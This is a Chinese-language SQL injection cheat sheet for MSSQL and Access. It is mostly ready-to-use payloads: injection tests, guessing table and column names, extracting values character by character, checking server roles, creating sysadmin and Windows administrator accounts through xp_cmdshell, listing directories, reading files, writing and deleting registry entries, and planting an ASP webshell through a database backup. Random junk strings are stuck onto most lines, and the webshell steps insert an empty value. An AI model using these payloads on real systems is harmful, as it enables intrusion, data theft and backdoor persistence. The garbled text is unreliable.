1.判断是否有注入;and 1=1 ;and 1=2 >%o\Ue
2.初步判断是否是mssql ;and user>0 MI,b`pQ
Q{~ WWv
3.注入参数是字符'and [查询条件] and ''=' vA r
fsgk
}{(dG7G+
4.搜索时没过滤参数的'and [查询条件] and '%25'=' GQP2-cSZ
XYM 5'
5.判断数据库系统 YgN:$+g5
G; *jL4
;and (select count(*) from sysobjects)>0 mssql <+tSTc4>r
rh6gB]X]3:
;and (select count(*) from msysobjects)>0 access #EO@<>I
yG`J3++
S
`<z"BGQ
wePhH*nQ>
6.猜数据库 ;and (select Count(*) from [数据库名])>0 g2&%bNQ-5
(pl|RmmDz
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 aU)NbESu
s?irT;=
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 ky^p\dMh
g{_wMf
9.(1)猜字段的ascii值(access) aB N^J_
~rN:4Q]/
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 8?>
#
%rmn+L),;
(2)猜字段的ascii值(mssql) \.`;p
ka^sOC+Y
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 M'n2 j
122%KS
10.测试权限结构(mssql) b3Uw"{p
r}1.=a
xxsax/h
oVK3=m@{
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- )5479Eb_
);]9M~$
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- Cmsg'KqqT
J ^y1=PM
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- fnwhkL#8
O_M2Axm
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- vIL'&~C\y
*K<|E15 ,
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- 'F)93SwU
!m*
YPY31
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- /:YM{,]
$hn=MOMc
;and 1=(select IS_MEMBER('db_owner'));-- N'8u}WO
E=-ed9({:
cQ?eL,z
7j
]d{lD
11.添加mssql和系统的帐户 %]2hxTV
t8}R?%u
;exec master.dbo.sp_addlogin username;-- .}wVM`81z
;exec master.dbo.sp_password null,username,password;-- c,K)*HB
/{[Y l[{"<
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- DxFmsjX[L
S^Lu RF]F
;exec master.dbo.xp_cmdshell 'net user username password .;1tu+S
*Va ;ra(V2
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- =Ts3O0"[
Hz*5ZIw
;exec master.dbo.xp_cmdshell 'net user username password /add';-- .9cQq/{b
eNwF<0}
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- ~6)A/]6
Mx3MNX/
.d JX,^
GV+K]
KDI
12.(1)遍历目录 kgq"b)
y.O%
;create table dirs(paths varchar(100), id int) m>H+noc^
\ r^#a
;insert dirs exec master.dbo.xp_dirtree 'c:\' *[P"2b#
g[NmVY-o
;and (select top 1 paths from dirs)>0 \I@hDMqv
+PlA#DZu
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) &y7<h>z
e;*GbXd|
,v#F6xv8
1[;
7Ay
(2)遍历目录 [{i"Au]
4dEfXrMf
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- {CO]wqEj
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 vDeb?n
n0ZrgTVJ
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 H8'q Y
rwJCVkF
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 lR[]A
K~C6dy
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 P1r)n{;
vky@L! &,
u%o]r9xl'
d;4LHQ0yU
13.mssql中的存储过程 3>~W_c9@
TbUouoc
xp_regenumvalues 注册表根键, 子键 Qb.Ve7c
.J0Tn,m
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 XTibx;yd<
uPmK:9]3R
xp_regread 根键,子键,键值名 gPW% *|D,
[1LlzCAFBw
;exec xp_regread pM|m*k
DR%16y<h
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 WRBCNra
fj7\MTy
xp_regwrite 根键,子键, 值名, 值类型, 值 vhEqHjR:
2`Ojw_$W7
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 =ObI
3Uy4 8ue
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 8p;|&7
>8*0"Q
xp_regdeletevalue 根键,子键,值名 U
'$W$()p
HGwSsoS
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 Q{:5gh
'{[n,xeR
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 A(2\Gfe
.Wr%l$~
A=PJg!
yx@%x?B
14.mssql的backup创建webshell E.'v,GYe
x$:P;#
use model -->~<o
g5YDRL!Wh
create table cmd(str image); #80[q3
-lb,0
insert into cmd(str) values (''); 5}+&Em":
yMd<<:Ap
backup database model to disk='c:\l.asp'; I<``d Ne9Q
9tMaOm
^%qe&Pe2
:pp@x*uNP
15.mssql内置函数 Fuz'!
+ n)_\@aQ
;and (select @@version)>0 获得Windows的版本号 !jySID?q
ZNKopA(=|%
;and user_name()='dbo' 判断当前系统的连接用户是不是sa r*r3QsO
js$L<^7
;and (select user_name())>0 爆当前系统的连接用户 _, ki/7{
xsO
"H8
;and (select db_name())>0 得到当前连接的数据库 FJ/c(K
-PG81F&K
^D%hKIT
NKSK+ll2
16.简洁的webshell ;UAi>//#
Qvx[F:#Tk
use model cm'`u&S
DO^J=e
create table cmd(str image); GBvgVX<
eXYf"hU,
insert into cmd(str) values (''); !bq3c(d
Qms,kX
backup database model to disk='g:\wwwtest\l.asp';